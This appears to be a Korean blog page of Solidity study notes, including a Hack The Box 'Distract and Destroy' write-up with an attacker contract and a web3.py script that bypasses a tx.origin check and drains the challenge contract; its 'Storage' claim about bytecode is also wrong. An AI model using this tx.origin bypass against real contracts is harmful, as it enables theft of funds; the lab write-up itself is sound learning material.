'call'은 ABI 인코딩을 통해 어떠한 함수든 호출할 수 있고, 이 때 함수의 존재여부나 시그니처 등은 컴파일이 아닌, 런타임에 검증된다.

(bool success, bytes memory data) = A.call{value: msg.value, gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));

이런식으로 사용을 하게 된다.

success 의 경우, 함수 호출이 성공적이었는지 여부를 나타내며,

data 의 경우, 호출된 함수로부터 반환된 return 값이다.

이렇게 반환된 return값은, abi.decode() 메서드를 통해 적절하게 처리할 수 있다.

(bool success, bytes memory data) = A.call(abi.encodeWithSignature("func1(uint)", 123));
require(success, "Call failed");

uint result;
if (data.length > 0) {  // 함수에서 데이터가 실제로 반환되었는지 확인
    result = abi.decode(data, (uint));
}

이런식으로 사용할 수 있다.

함수 호출 실패 시

저수준 함수 호출에는, 에러가 발생한다고 해도 롤백이 되지 않는다. 대신, success플래그를 통해 성공 여부를 반환하게 된다. 

(bool success, bytes memory data) = A.call{gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));
if (!success) {
    // 에러 핸들링 로직
    revert("Function call failed.");
}

그래서, 함수 호출에 실패했을 경우, 위와 같이 직접 핸들링을 해주어야 한다. 다소 불편할 수 있지만, 유연성을 제공한다는 점에서 장점이 있다고 할 수 있다.

반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 

처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 transfer, call, send로 대체 왜 나뉘는지, 대체 어떻게 쓰는건지도 어려웠던 것 같은 기억이 있는데, 나처럼 삽질하지 말고 이거 하나 보고 그냥 가볍게 넘어가보도록 하자.

^__^

 

1. payable 키워드

다른 프로그래밍 언어와 달리, solidity는 가상화폐(코인)을 동력으로 하는 언어이다. 그렇다 보니, 다른 언어에서는 쓰이지 않는 송금 관련 함수 또는 키워드들이 존재하곤 한다. 즉, 가상화폐(코인)로 접근하기 위한 키워드가 사용된다는 것이다.

 

이더리움(ethereum) 생태계 내의 solidity 언어 내에서 코인을 전송하는 컨트랙트를 작성하기 위해서는 반드시 payable 키워드가 필요하다. 즉, payable 키워드를 사용하지 않는다면 ether를 보낼 수 없다는 것이다. 

 

일단 어떻게 사용되는지 예제를 한번 볼까?

    address payable public owner;
  	
    constructor() payable {
        owner = payable(msg.sender);
    }
    
    function deposit() public payable {}

 

이렇게 사용이 된다고 보면 될 것 같은데,,, 이렇게 보면 대체 어떻게 사용하라는건지 감이 잘 잡히지 않는다.

좀 더 자세히 들어가보자.

 

payable의 사용은 크게 두 가지로 나뉜다.

  • address payable: address type과 함께 사용되며, payable 키워드가 붙은 address 변수 등은 payable 해진다.
  • function payable: function을 선언할 때 사용되며, payable 키워드가 붙은 함수는 지불, 잔액확인 등의 기능을 사용할 수 있다.

1-1. address payable

payable 키워드가 address 타입에 적용될 경우, 해당 주소는 ETH를 받을 수 있게 된다.

예를 들어, 사용자로부터 ETH를 받아 해당 금액을 contract 내부의 주소로 보내고 싶을 떄, payable 키워드를 사용할 수 있다.

address payable public recipient = 0x123123123...; // 이더를 받을 수 있는 주소 생성
recipient.transfer(amount); // 이더 전송

크게 어려울 것은 없기 때문에 넘어가도 될 듯 하다.

1-2. function payable

payable 키워드가 함수 타입에 적용될 경우, 그 함수는 ETH를 보내거나 받는 것, 특정 주소의 계좌 잔액을 확인하는 등의 기능을 실행할 수 있게 된다.

contract MyContract {
    function deposit() public payable {
        // 이 함수를 호출할 때 보낸 ETH는 자동적으로 이 컨트랙트의 Balance에 추가된다.
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

 

payable주소, 함수를 이용하면 '.transfer', '.send' 등의 메서드를 이용하여 ETH를 보낼 수 있게 된다.

이제 좀 더 구체적인 사용법들을 알아보도록 하자.

 

2. ETH 송금 함수: .transfer(), .send(), .call()

ETH를 컨트랙트를 통해 보내기 위해 사용할 수 있는 함수 몇 가지를 알아보도록 하자.

비슷한 기능을 하는 대표적으로 세 가지 함수가 존재하는데, 이들의 차이점에 주목하면서 한번 같이 따라가보자.

입력값, 리턴값이 어떻게 다른지도 살펴보며 진행해보자.

2-1. .transfer()

사용 예시 먼저 보자.

address payable recipient = payable(0x123...); // 수신자 주소
uint256 amount = 1 ether;

recipient.transfer(amount); // 이더 전송

맨 아래, recipient.transfer(amount); 부분을 보면 된다.

  • recipient는 송금받을 사람의 주소이며,
  • amount는 송금을 할 액수이다.
  • 리턴값이 존재하지 않는다.

.transfer()함수의 특징을 알아보자. 

.transfer()함수는 지정된 금액의 ETH를 해당 주소로 전송하도록 설계되어있으며, 전송이 실패하게 될 경우, 자동으로 예외(exception)을 발생시키고, 트랜잭션을 되돌린다(revert). revert시에는 사용된 gas를 제외한 나머지가 반환된다. (2300가스를 소모함)

따라서, 에러 발생 또는 송금 실패 시에 error를 리턴할 필요가 없다.

 

송금 함수 중 가장 안전한 함수이기도 하다.

2-2. .send()

.send()함수는 .transfer()과 비슷하지만, 실패 시 트랜잭션을 revert()하지 않고, 실패(False)를 반환한다는 특징이 있다.

사용 예시를 확인해보자. 

address payable recipient = payable(0x123...);
uint amount = 1 ether;

bool sent = recipient.send(amount);
require(sent, "Failed to send Ether");
  • recipient는 송금받을 사람의 주소이며,
  • amount는 송금을 할 액수이다.
  • 리턴값이 존재한다.

 

transfer()에서는 에러를 리턴하지 않고 직접 핸들링하기 때문에 이럴 필요가 없었지만, send()에서는 직접 핸들링하는 로직을 작성해주어야 한다. 

이 역시도 2300gas를 소모한다는 특징이 있다.

 

.send()함수는 보통 송금 실패시 자동으로 트랜잭션을 revert()하는 기능이 없기 때문에, .transfer()함수에 비해 유연한 오류처리가 필요할 때 사용한다고 보면 될 것 같다.

2-3. .call()

.call()메서드는 Solidity에서 가장 유연한 메서드 중 하나로, 모든 종류의 함수를 호출하고, 이더를 전송할 수 있다. 

사용 예시를 보자.

address payable recipient = payable(0x123...);
uint amount = 1 ether;

(bool success, bytes memory data) = recipient.call{value: amount}("");
require(success, "Failed to send Ether");

이를 보면, 리턴값으로 boolean값과 bytes memory 데이터를 튜플 형태로 받는 것을 알 수 있다. 

  • recipient는 송금받을 사람의 주소이다.
  • amount는 송금을 할 액수이다. (사용법: .call{value: amount}("");)
  • 성공 여부를 튜플 형태로 반환한다.

call()을 사용하게 되면, gas비용이 그 로직에 따라 가변적이기 때문에 가스 소모량을 조절할 수 있다는 장점이 있고,

call()의 실행을 실패했을 때, 자동으로 트랜잭션을 revert하지 않기 때문에 반환 성공 여부를 체크하여 이후 로직을 처리할 필요가 있다. 하지만, call() 함수는 보안에 취약할 수 있으므로 주의할 필요가 있다. (보통 어떠한 함수가 유연하게 사용된다고 하면, 보안에 취약할 경우가 많다.) 

아무래도 보안 전공생이니, 이 부분은 나중에 따로 다뤄보겠다.

 

오늘 내용 끝~

반응형

하다가 너무 헷갈려서 그냥 정리하는게 맞겠다~ 싶음.

 

정리해야 할 함수들

  • chr()
  • ord()
  • bytes.fromhex() / .hex()
  • base64.b64encode() / .b64decode
  • long_to_bytes() : long -> byte string
  • bytes_to_long() : byte string -> long

시작해보자.

 

1. chr() 함수

하나의 정수를 인자로 받고, 해당 정수에 해당하는 유니코드 문자를 반환한다.

chr(97) = 'a'

2. ord() 함수

하나의 문자를 인자로 받고, 해당 문자에 해당하는 유니코드 정수를 반환한다.

ord('a') = 97

 

이정도는 오케이. 그런데 그 다음부터 헷갈리더라.

3. bytes.fromhex()

hex 숫자를 인자로 받고, bytes 형식으로 변형함.

예) '\x00\x01\x02 ... '

code
result

 

4. bytes.hex()

바이트 형식 문자열을 16진수 hex로 바꿔줌.

code
result

일반 문자의 경우, 

code
result

그냥 hex 값으로 출력되는 것을 볼 수 있다.

 

정리

  • '\x'가 붙은 값: \x을 떼고 출력해줌.(당연함. hex값을 byte형식으로 나타낸거니까..)
  • 일반 문자: hex값으로 출력함.

5. long_to_bytes()

long형의 숫자를 bytes 형식의 string으로 나타낸다.

이렇게 코드를 짜보면

이런식으로 bytes string으로 출력되는 것을 볼 수 있다.

6. bytes_to_long()

위와 반대의 과정이다.

반응형

Solidity를 하다보면, onlyOwner라는 이름의 modifier가 많이 쓰인다. 그냥 항상 송금/출금 등의 함수에서 당연히 붙이는거니까~ 하면서 쓰고있었는데, 정확한 문법에 대한 이해가 필요할 듯 해 정리해보려고 한다.

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }
    
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

 

줄마다 보면서 해석해봐야할 것 같다.

1. modifier 함수변경자의 의미

modifier는 "함수변경자, 제어자" 라는 이름으로도 불린다. 즉, 함수의 기능에 있어 특정 기능을 제한/변경할 수 있다는 것이다. 

맨 위의 코드를 한번 보자. 

modifier onlyOwner()

onlyOwner라는 이름의 modifier를 만들어준다. 

onlyOwner는 기본적으로 함수에 이 modifier를 추가해주면, 오직 컨트랙트의 소유자만이 해당 함수를 호출할 수 있게 된다.

정확한 내용을 살펴보자.

 

require(msg.sender == owner, "caller is not the owner");
_;

msg.sender의 주소가 owner의 주소와 같지 않다면, 에러메시지 "caller is not the owner"를 출력하고, 함수의 실행을 막는다. 여기까진 오케이. 그 다음에 등장하는 "_;"는 대체 무엇일까?

 

이는, 다시 modifier를 호출한 함수로 돌아가라는 말이다.

이게 무슨 말이지?

 

다시 맨 위의 코드를 보자.

위 코드에서 withdraw() 함수의 위치에서 onlyOwner modifier가 사용되었고, 그 즉시 컨트랙트는 onlyOwner modfier가 선언된 곳으로 가서 해당 함수를 호출한 사람의 주소와 컨트랙트 소유자의 주소가 같은지를 비교한다. 

비교를 한 이후, '_;'부분은, 이제 onlyOwner를 호출한 함수의 나머지 부분을 실행하라는 말이다 즉, 위 코드는 다음과 같다고 할 수 있다.

    function withdraw() public {
    	require(msg.sender == owner, "caller is not the owner");
        payable(owner).transfer(address(this).balance);
    }

이와 똑같은 코드라고 생각하면 된다.

그래서, '_;'는 모든 modifier의 마지막에 항상 넣어준다고 생각하면 된다.

 

그럼, 저렇게 쓰면 되는데 왜 굳이 modifier라는걸 만들어서 사용하지..?

확장성을 위함이겠지..ㅎ

 

2. onlyOwner는 왜 있을까?

onlyOwner는 ownable이라는 컨트랙트에 내장되어있다. 

이렇게까지 라이브러리화 하여 사용하는 이유가 있을까?

 

그 이유는, 블록체인이라는 기술의 특성에 있다.

모두 알겠지만, 블록체인의 중요한 특성 중 하나는 바로, 그 기록들의 '불변성'이다.

이게 무슨말이냐면, 제아무리 컨트랙트를 직접 만든 개발자라고 하더라도, 그 코드를 맘대로 바꿀 수는 없다는 것이다. 

 

EVM(Ethereum Virtual Machine)은 그 구조적 특성상, 컨트랙트 코드의 컴파일 결과물인 바이트코드는 EVM 내의 불변의 영역인 'Storage'에 들어가있다. 때문에 미리 정의된 코드는 그 내용을 절대 바꿀 수 없게 된다.

 

이로 인해서, 솔리디티 코드를 작성할 때 가장 중요한 것은 보안 다음으로, 유지보수성이다. 즉, 지금 짠 코드를 나중에 어떠한 일이 생겼을 때 언제든 바꿀 수 있어야 한다는 것이다. 

따라서 modifier와 같은 제어자 또한 사용해주고, constructor 등의 메서드, 상수 사용의 최소화 등을 해야 한다.

 

말을 하다 보니 onlyOwner의 필요성은 좀 뒷전으로 하긴 했는데, 이렇게 변수의 사용이 자주 바뀔 수 있게 되다 보니 (owner 등의 변수 포함) 컨트랙트의 ownership 또한 중요하기도 하고, 토큰을 거래하는 데 주로 초점이 맞추어져있는 solidity의 특성 상, 송금 또는 출금을 하는 함수도 많다보니 편리성을 위해 존재하기도 하는, 아주 요긴한 녀석이다.

반응형

+ Recent posts